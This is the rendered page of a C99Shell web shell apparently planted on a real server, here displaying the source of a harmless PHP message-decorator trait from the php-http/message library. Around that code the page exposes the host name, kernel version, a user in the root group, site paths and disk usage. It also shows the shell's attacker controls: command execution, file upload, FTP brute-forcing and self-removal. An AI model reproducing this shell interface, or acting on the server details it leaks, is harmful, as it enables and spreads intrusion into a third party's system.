!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/php-http/message/src/Decorator/   drwxr-xr-x
Free 28.53 GB of 117.98 GB (24.18%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     MessageDecorator.php (2.2 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Http\Message\Decorator;

use 
Psr\Http\Message\MessageInterface;
use 
Psr\Http\Message\StreamInterface;

/**
 * @author Márk Sági-Kazár <mark.sagikazar@gmail.com>
 */
trait MessageDecorator
{
    
/**
     * @var MessageInterface
     */
    
private $message;

    
/**
     * Returns the decorated message.
     *
     * Since the underlying Message is immutable as well
     * exposing it is not an issue, because it's state cannot be altered
     */
    
public function getMessage(): MessageInterface
    
{
        return 
$this->message;
    }

    public function 
getProtocolVersion(): string
    
{
        return 
$this->message->getProtocolVersion();
    }

    public function 
withProtocolVersion(string $version): MessageInterface
    
{
        
$new = clone $this;
        
$new->message $this->message->withProtocolVersion($version);

        return 
$new;
    }

    public function 
getHeaders(): array
    {
        return 
$this->message->getHeaders();
    }

    public function 
hasHeader(string $header): bool
    
{
        return 
$this->message->hasHeader($header);
    }

    public function 
getHeader(string $header): array
    {
        return 
$this->message->getHeader($header);
    }

    public function 
getHeaderLine(string $header): string
    
{
        return 
$this->message->getHeaderLine($header);
    }

    public function 
withHeader(string $header$value): MessageInterface
    
{
        
$new = clone $this;
        
$new->message $this->message->withHeader($header$value);

        return 
$new;
    }

    public function 
withAddedHeader(string $header$value): MessageInterface
    
{
        
$new = clone $this;
        
$new->message $this->message->withAddedHeader($header$value);

        return 
$new;
    }

    public function 
withoutHeader(string $header): MessageInterface
    
{
        
$new = clone $this;
        
$new->message $this->message->withoutHeader($header);

        return 
$new;
    }

    public function 
getBody(): StreamInterface
    
{
        return 
$this->message->getBody();
    }

    public function 
withBody(StreamInterface $body): MessageInterface
    
{
        
$new = clone $this;
        
$new->message $this->message->withBody($body);

        return 
$new;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0039 ]--